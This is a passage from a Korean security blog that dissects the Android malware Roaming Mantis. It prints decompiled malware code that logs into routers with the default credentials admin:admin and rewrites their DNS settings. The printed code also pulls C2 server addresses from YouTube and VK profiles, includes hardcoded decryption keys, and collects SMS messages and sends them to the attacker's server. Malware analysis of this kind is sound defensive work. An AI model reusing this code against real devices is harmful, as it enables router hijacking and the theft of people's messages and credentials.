따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 <strong>공유기의 모델이 어떤 것인지 유추할 수 있습니다.</strong> 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/13.png" alt="13.png" /></p> + +<p>어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + +<span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">k</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> +<span class="o">...</span> +</code></pre></div></div> + +<p>매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 <code class="language-plaintext highlighter-rouge">a.e</code> method로 이동해봅시다.</p> + +<p>매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 공유기를 쉽게 관리자로 로그인 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">arg14</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">v1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">2</span><span class="o">];</span> + <span class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Authorization"</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Basic "</span> <span class="o">+</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="s">"admin:admin"</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="mi">0</span><span class="o">);</span> + <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=main_frame&amp;smenu=main_frame"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">String</span> <span class="n">v4</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=netconf&amp;smenu=wansetup"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">ArrayList</span> <span class="n">v7</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">();</span> + <span class="kt">int</span> <span class="n">v8</span><span class="o">;</span> + <span class="k">for</span><span class="o">(</span><span class="n">v8</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> <span class="n">v8</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="o">;</span> <span class="o">++</span><span class="n">v8</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">Matcher</span> <span class="n">v9</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"id=\"disabled_dynamicip"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">".*?value=\"(.*?)\""</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v4</span><span class="o">);</span> + <span class="k">if</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">find</span><span class="o">())</span> <span class="o">{</span> + <span class="n">v7</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">group</span><span class="o">(</span><span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> + <span class="o">}</span> + +</code></pre></div></div> + +<p>그리고 마지막 부분에 <strong>DNS 서버를 변경하려는 Request를 생성하는데</strong>, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DNS 서버를 변경하는 Request 생성</span> +<span class="c1">// v3의 값은 C2 서버에서 파싱</span> +<span class="n">a</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi"</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="s">"tmenu=iframe&amp;smenu=hiddenwansetup&amp;act=save&amp;ocolor=&amp;wan=wan1&amp;ifname=eth1&amp;nopassword=0&amp;wan_type=dynamic&amp;allow_private=on&amp;fdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;dns_dynamic_chk=on"</span><span class="p">.</span><span class="n">getBytes</span><span class="p">());</span> +</code></pre></div></div> + +<p>이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/1.png" alt="1.png" /></p> + +<hr /> + +<p>⑥ <strong>C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p>바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.</p> + +<p>아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">n</span> <span class="o">=</span> <span class="s">"chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2"</span><span class="o">;</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정</code> 의 정보를 담고 있으며, 이 앱은 <code class="language-plaintext highlighter-rouge">covid</code>등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.</p> + +<p>우선 vk(<code class="language-plaintext highlighter-rouge">id728589530@vk</code>) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 <code class="language-plaintext highlighter-rouge">debug</code>가 아닐 경우에 수행되며, 최종적으로 <code class="language-plaintext highlighter-rouge">id729071494</code> 계정의 info페이지에 접근하게 됩니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. info 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.vk.com/%s?act=info"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. noopener 태그 사이의 문자열 매칭</span> + <span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"noopener\"&gt;(.+?)&lt;/a&gt;"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>페이지의 HTTP Code 중 <code class="language-plaintext highlighter-rouge">noopener</code> 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/14.png" alt="14.png" /></p> + +<p>이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.</p> + +<p>다른 정보들은 어디에 쓰이는지 확인해봅시다.</p> + +<p>아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(<code class="language-plaintext highlighter-rouge">UCP5sKzxDLR5yhO1IB4EqeEg@youtube</code>)계정 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱</span> +<span class="nc">String</span> <span class="n">v7</span> <span class="o">=</span> <span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">b</span><span class="o">).</span><span class="na">getString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">v8</span><span class="o">)));</span> +</code></pre></div></div> + +<p>마찬가지로 해당 계정의 about 페이지에 접근한 후, <code class="language-plaintext highlighter-rouge">oeewe</code> 사이의 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. about 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.youtube.com/channel/%s/about"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. oeewe 사이의 문자열 매칭</span> +<span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"oeewe([\\w_-]+?)oeewe"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>접근하면 아래와 같이 <code class="language-plaintext highlighter-rouge">oeewe … oeewe</code> 문자열을 설명란에서 볼 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/15.png" alt="15.png" /></p> + +<p>해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Base64 Decoding</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">v2</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">arg2</span><span class="o">,</span> <span class="mi">8</span><span class="o">);</span> + +<span class="c1">// 2. Key, IV 하드코딩(같은 값)</span> +<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">r</span><span class="o">.</span><span class="na">b</span><span class="o">(</span><span class="n">v2</span><span class="o">,</span> <span class="s">"Ab5d1Q32"</span><span class="o">),</span> <span class="n">d</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> +</code></pre></div></div> + +<p>복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 <code class="language-plaintext highlighter-rouge">ws://</code> 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/16.png" alt="16.png" /></p> + +<hr /> + +<p>⑦ <strong>SMS관련</strong></p> + +<p>아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9_1</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">=</span> <span class="nc">Boolean</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v5_6</span><span class="o">,</span> <span class="nc">Telephony</span><span class="o">.</span><span class="na">Sms</span><span class="o">.</span><span class="na">getDefaultSmsPackage</span><span class="o">(</span><span class="n">v7_4</span><span class="o">)));</span> +</code></pre></div></div> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/17.png" alt="17.png" /></p> + +<p>공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp내용을 HashMap으로 저장하며 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 수신된 메시지들 수집</span> +<span class="n">v0_6</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Object</span><span class="o">[])</span><span class="n">arg27</span><span class="o">.</span><span class="na">getExtras</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"pdus"</span><span class="o">);</span> +<span class="n">v12</span> <span class="o">=</span> <span class="n">v0_6</span><span class="o">[</span><span class="n">v10</span><span class="o">];</span> + +<span class="c1">// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성</span> +<span class="nc">SmsMessage</span> <span class="n">v12_1</span> <span class="o">=</span> <span class="nc">SmsMessage</span><span class="o">.</span><span class="na">createFromPdu</span><span class="o">(((</span><span class="kt">byte</span><span class="o">[])</span><span class="n">v12</span><span class="o">));</span> + +<span class="c1">// 3. 수신된 메시지의 내용 수집</span> +<span class="nc">String</span> <span class="n">v13</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayMessageBody</span><span class="o">();</span> + +<span class="c1">// 4. 수신된 메시지의 발신 주소 수집</span> +<span class="nc">String</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayOriginatingAddress</span><span class="o">();</span> + +<span class="c1">// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장</span> +<span class="n">v3_1</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">v12_1</span><span class="o">.</span><span class="na">getTimestampMillis</span><span class="o">()));</span> + +<span class="c1">// 6. 발신자 주소(key)-메시지 내용(value)로 저장</span> + <span class="n">v4_2</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="n">v12_2</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span> +</code></pre></div></div> + +<p>JSON-RPC로 <code class="language-plaintext highlighter-rouge">onSms</code> method와 수집한 내용을 공격자 서버로 전달합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// s = "onSms"</span> +<span class="c1">// 1. Json-RPC로 onSms mthod 실행</span> +<span class="nb">Map</span> <span class="nx">map0</span> <span class="o">=</span> <span class="nx">b0</span><span class="p">.</span><span class="nx">f</span><span class="p">(</span><span class="k">new</span> <span class="nx">b</span><span class="p">[]{</span><span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">jsonrpc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">2.0</span><span class="dl">"</span><span class="p">),</span> <span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">,</span> <span class="nx">s</span><span class="p">)});</span> + +<span class="c1">// 2. 수집한 내용을 params로 전달</span> +<span class="nx">map0</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="dl">"</span><span class="s2">params</span><span class="dl">"</span><span class="p">,</span> <span class="nx">object0</span><span class="p">);</span> +</code></pre></div></div> + +<p>이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Object</span> <span class="n">v0_13</span> <span class="o">=</span> <span class="n">v2</span><span class="o">.</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"audio"</span><span class="o">);</span> +<span class="k">if</span><span class="o">(</span><span class="n">v0_13</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="o">((</span><span class="nc">AudioManager</span><span class="o">)</span><span class="n">v0_13</span><span class="o">).</span><span class="na">setRingerMode</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span> +</code></pre></div></div> + +<p>수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.</p> + +<p>맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z2</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FS"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fs"</span><span class="o">,</span> <span class="n">r</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">s13</span><span class="o">))).</span><span class="na">apply</span><span class="o">()</span> + +<span class="c1">// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="n">s14</span><span class="o">).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"IF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> + + <span class="c1">// 3-1. 연결 되었을 경우</span> + <span class="n">i</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">socket1</span><span class="o">,</span> <span class="s">"peer.ws!!.socket"</span><span class="o">);</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"已连接:"</span> <span class="o">+</span> <span class="n">socket1</span><span class="o">.</span><span class="na">getRemoteSocketAddress</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span> + + <span class="c1">// 3-2. 연결되지 않았을 경우</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"未连接,"</span> <span class="o">+</span> <span class="n">s16</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="o">(</span><span class="n">wifiManager0</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="kc">false</span> <span class="o">:</span> <span class="n">wifiManager0</span><span class="o">.</span><span class="na">isWifiEnabled</span><span class="o">())</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">j</span><span class="o">;</span> + +<span class="c1">// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z3</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SI"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">arr_b</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">s13</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_url"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_encoding"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">1</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_pattern"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">2</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_accounts"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">3</span><span class="o">))).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가</span> +<span class="k">else</span> <span class="nf">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FM"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">arr_b1</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="s">"CpMSc7iSk/dTcRO7aMe4qA=="</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fsm"</span><span class="o">,</span> <span class="n">s18</span><span class="o">)</span> +</code></pre></div></div> + +<p>어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.</p> + +<hr /> + +<p><strong>⑦ 기타 생략 동작</strong></p> + +<ul> + <li>앱 정보 수집 + <ul> + <li>설치된 앱들의 정보를 수집합니다.</li> + </ul> + </li> + <li>공인인증서 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/sdcard/NAKI</code> 에 저장된 공인인증서를 탈취합니다.</li> + </ul> + </li> + <li>배터리 최적화 무시 + <ul> + <li>백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.</li> + </ul> + </li> + <li>wifi lock 설정 + <ul> + <li>연결된 WIFI Lock을 <code class="language-plaintext highlighter-rouge">Swi</code> 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.</li> + </ul> + </li> + <li>사용자 주변 네트워크, 기기 정보 전송 + <ul> + <li>사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.</li> + </ul> + </li> + <li>루팅 탐지 + <ul> + <li>루팅 여부를 탐지합니다.</li> + </ul> + </li> + <li>금융 앱 관련 + <ul> + <li>금융 앱 대신 <code class="language-plaintext highlighter-rouge">/sdcard/.upload2</code> 하위의 악성 앱을 실행합니다.</li> + </ul> + </li> + <li>사진 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/DCIM/Camera</code> 에 위치한 사진 파일들을 탈취합니다.</li> + </ul> + </li> + <li>C2 서버로부터 command 수신 + <ul> + <li>다양한 command를 전달받아 동작합니다.</li> + </ul> + + <p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/18.png" alt="18.png" /></p> + </li> +</ul> + +<p>이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.</p> + +<hr /> + +<h1 id="4--outro">4. Outro</h1> + +<p>지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)</p> + +<p>Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?</p> + +<p>더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.</p> + +<p>글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.</p> + +<p>이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.</p>Hyerim JeonAndroid Malware : 사마귀 해부학버그헌팅: 취약점 체이닝의 중요성2023-07-31T20:00:00+09:002023-07-31T20:00:00+09:00http://ufo.stealien.com/2023-07-31/bughunting-vulnerability-chaining-ko<h1 id="버그헌팅-취약점-체이닝의-중요성">버그헌팅: 취약점 체이닝의 중요성</h1> <h2 id="no-impact-no-bug">No impact, No bug</h2> <p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/0.png" 